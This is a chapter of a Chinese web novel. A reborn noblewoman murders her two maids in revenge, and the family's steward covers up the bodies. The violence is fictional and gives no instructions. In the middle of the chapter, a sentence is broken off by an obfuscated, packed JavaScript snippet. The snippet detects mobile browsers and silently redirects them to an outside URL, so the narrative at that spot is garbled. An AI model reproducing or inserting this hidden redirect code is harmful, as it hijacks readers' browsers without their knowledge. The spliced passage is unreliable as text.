3. 第三章

作品:《那个杀神又来了

    于翛的话犹如一道闷雷,劈得两个人失去了言语。


    脑中更是一片空白。


    这是什么话?


    杀了人?


    杀了人!


    她杀了人?!


    “小姐,您说些什么呢。”


    春芝忍不住颤抖着问道。


    还不等再问试验是何意,于翛就突然从她头上拔下来一根珠钗,毫不犹豫的插进了春芝的脖颈。


    尖细的发钗刺破皮肉,瞬间鲜血喷溅而出,星星点点的落在于翛的脸上。


    春芝痛得发不出任何声音,口中血溢满,双手下意识的去捂自己的脖子。


    但似乎一切都成了徒劳。


    而此时春芽也已经吓得连连后退,跌坐在地,口一张一合怎么都发不出半点声音,甚至连尖叫呼救都似乎不会了。


    看着春芝踉跄着摔在地上,血还在不断的往外冒,她更是面色发白吓得毫无半点血色。


    只能本能地,害怕的往后挪动。


    转头猛地对上于翛的眼睛时,她似乎才终于找回了自己的理智和声音,转身慌不着路的往外爬:“来人啊!救——唔——唔——”


    一只手紧紧捂住了她的嘴,让她再不能呼喊出声。


    于翛另一只手反剪住春芽的双手,让她无法继续挣扎。


    她靠近,贴在春芽的耳边,呼出的热气却让春芽不断地剧烈颤抖起来。


    “唔唔——唔——”


    不知道是想求救还是想求饶,但这一切她都不能了。


    春芽绝望的落下泪来,尤其是看到地上挣扎着就不再动了的春芝后,更是害怕的软了腿。


    于翛就这么拖着她站着。


    “春芽,我记得第三世的时候我是被你捂死的,那种感觉我至今都忘不掉,那种吸不进气也呼不出气的感觉让人绝望的想快点去死,春芽啊,你现在体会到了吗?”


    犹如幽灵的倾诉回荡耳畔。


    春芽眼泪流的越来越凶,这种吸不进气也呼不出气的感觉她现在清晰的感受到了。


    于翛的手劲很大,她的手同时捂住了春芽的嘴巴和鼻子,手死死的按在她的脸上,一丝一毫的空气都不再给她,这种窒息的绝望真的让人想快点结束这一切。


    但是没有啊,她没有捂死过她啊,她一定是认错人了,一定是。


    春芽的眼中划过一丝希冀。


    “唔唔唔唔——”


    她甚至还在徒劳的想要辩解。


    于翛根本不会给她这个机会。


    她看了一眼地上已经快要吸不进气的春芝。


    再次轻声开口:“我以前时常觉得丫鬟是做不了自己的主的,一切的一切都是主人的安排,你们怕也是身不由己,所以我同情你们,怜悯你们,甚至在把我拖入深渊的时候也在可怜你们啊。”


    “我觉得你们人微言轻总是身不由己的。”


    “但是现在我想明白了,不是这样的啊春芽,人若是心里良善绝不会做这种助纣为虐的事。若是设身处地,我换成了你,就算被威胁我也定会暗暗提醒那个被所有人算计的姑娘,让她小心些仔细些,就算改变不了她的结局,至少让她清醒些明白些。”


    “而不是在她那么绝望时,看别人踩一脚自己也要上去踩一脚,还享受着她的痛苦,她的无知和无助。”


    “你瞧啊春芽,就算换成了你,我也绝做不出那些损阴丧德之事,你们从来不是什么可怜之人。”


    “你们甚至枉为人!”


    她的话中透着被蒙蔽的不甘,透着对这些人的失望,透着自己的委屈和无助。


    于翛缓缓松了手,怀中的人便如同烂泥一般摔到了地上去。


    她已然是没了呼吸。


    那因憋闷而青紫的脸看上去并不甘心。


    于翛细细的看了看。


    “原来那时我是这样的啊。”


    她起身就这么站着,一动不动的站着。


    似乎是在等着什么。


    但等啊等啊,什么都没等到。


    此时夜已深,就连门外的脚步声都那么的清楚。


    于翛终于动了动,回头看了一眼地上的两个尸体。


    这次没有再突然的扭曲,没有再突然的变换。


    她没有回到过去。


    也没人再重生。


    难道是意外?


    ——————


    第二日一早,有人焦急的叩响了赵管家的房门。


    进门后不等管家问话,便已经开口道:“管家,刚刚去送早膳的人说是打不开小姐的房门,去寻春芝和春芽也没寻到。”


    赵管家忍不住皱眉:“也没人应吗?”


    小厮点点头。


    “去瞧瞧。”


    起身带了人,赵管家直奔于翛住的天字房。


    房门外,侯府的家仆还在敲着门叫人。


    “大小姐,大小姐。”


    “大小姐,大小姐用早膳了,您开开门。”


    又喊了几次门,敲了又敲,依旧无人应答。


    赵管家阴沉着面色,一挥手:“撞开。”


    门显然是从里面锁死了,客栈中的伙计也是没有办法,只能撞门。


    四五个人一起撞了好几次才终于把门给撞开了,一群人就这么四仰八叉地摔了进去。


    门外的人也忍不住的朝里面张望起来。


    赵管家心中隐隐有不好的预感,让其余的侯府奴仆守住了门,这才走进去。


    “管家,有血。”


    一撞门的人站起来,有些惊慌的指着桌子旁一处的地上开口。


    “关门。”


    赵管家连忙吩咐。


    门关上,抵挡了外面的小声议论。


    门一关,里面的人也紧跟着立刻观察起来。


    赵管家的目光在屋中巡视了一圈,好似除了地上的这一处血迹没有任何的异样。


    走近看了看。


    血。


    但,为何有血?


    他目光放在了落下的床幔上。


    一人看了赵管家的神色,朝着床榻的方向开口道:“大小姐,到时间要上路了,您若是醒了便起身吧。”


    话落屋中一片寂静,依旧无人应答。


    赵管家走上前去,抬手掀开了床幔。


    就连他见惯了风雨,此刻看清眼前的景象也骇得连连后退。


    “管家!”


    两个人上前连忙扶住了要摔倒的赵管家。


    “快!快!掀开!”


    赵管家抬起手的手指都带着颤抖。


    另外两人疑惑的走到床边掀开刚刚又落下的床幔。


    抬眼看去的时候也都是吓得一屁股摔在了地上。


    再起身已是强撑着颤抖把床幔掀开绑起。


    床上的景象就这么暴露在了所有人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129613|196204||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的面前。


    只见床上躺着两人,背对着他们,但是她们身下已经被血浸湿了,身上的衣裳也都浸染成了血色。


    整个床榻上全是浓重的血腥味。


    “快,把,把人翻过来瞧瞧是谁!”


    赵管家白着脸吩咐。


    他的心提到了嗓子眼,两人衣着不同,俨然都成了血人,他真怕其中有一人是于翛。


    这回去他要如何交代!


    等人被小心的翻过来的时候,只见是春芝和春芽。


    赵管家反而松了口气。


    上前查看一番,瞬间面色凝重。


    两人明显都是被人杀害的。


    看春芝和春芽的惨状,让他忍不住后背一凉。


    是于翛?


    她跑了?


    她竟能连杀两人!


    一个渔村的渔女竟有这样的胆子?!


    竟然这般心狠手辣!


    “把她们衣服扒了,烧掉,人换成寻常百姓的衣裳扔到乱葬岗去,这里恢复原样,不能让人看出任何差池!今日之事若是传出去侯府有祸端,你们的脑袋也是保不住!听懂了吗。”


    几人战战兢兢的连忙点头称是。


    侯府的大小姐染上了命案,被人发现老爷太太的计划便要落空了。


    出了门,赵管家看着探头探脑的几个客栈伙计,抬手取出一个银锭子递过去。


    “我家小姐染了病,不便见人,还要多住几日等病养好了才能启程,吃食可要做好些给我家小姐补身子。”


    伙计连忙连连点头,笑得见牙不见眼的下去吩咐了。


    赵管家装样子般请了两个大夫来,给他把了把脉就又送走了。


    私下里他让人把整个客栈都搜了一遍,打探了一下周围人的口风。


    似乎有人在后半夜听到窗子边有声响。


    赵管家神色凝重。


    她果真不是藏起来。


    是跑了。


    为什么要跑?


    侯府大小姐的身份,一辈子的荣华富贵,她不满意?不想要?


    还是说她知道了什么?


    怎么可能。


    一个乡野丫头能知道些什么。


    他的面前突然闪过春芝和春芽那死气沉沉的脸,和一床血色。


    她真的只是一个乡野丫头吗?


    但现下不是想这些的时候。


    要赶快把人找回来。


    赵管家变了面色,忍不住冷嗤一声。


    她真以为自己能逃得掉?


    “管家,人已经处理了,她们身上的钱袋都不见了。”


    赵管家手指摸着杯沿忍不住笑了下。


    “带几个有身手的,再去那个小渔村,把人请回来,若是反抗直接绑了,但不可伤人,她身上不能有伤。”


    “是。”


    人迟疑着没有退下,犹豫着开口:“若是没在村子里呢?”


    赵管家几乎没有思考便道:“不可能,她无处可去,不在村子也定在村子附近,她跑不远,你们细心些定能找到。”


    “是。”


    他要在这里掩人耳目,不然他定是要亲自去的。


    对于于翛的去处他心里也有些犯嘀咕,但就好像是有人给他指明方向一般,他断定于翛就是回去了小渔村,她一定会在那里。


    一群人已然领命骑上快马,飞快的朝着小渔村再次赶去。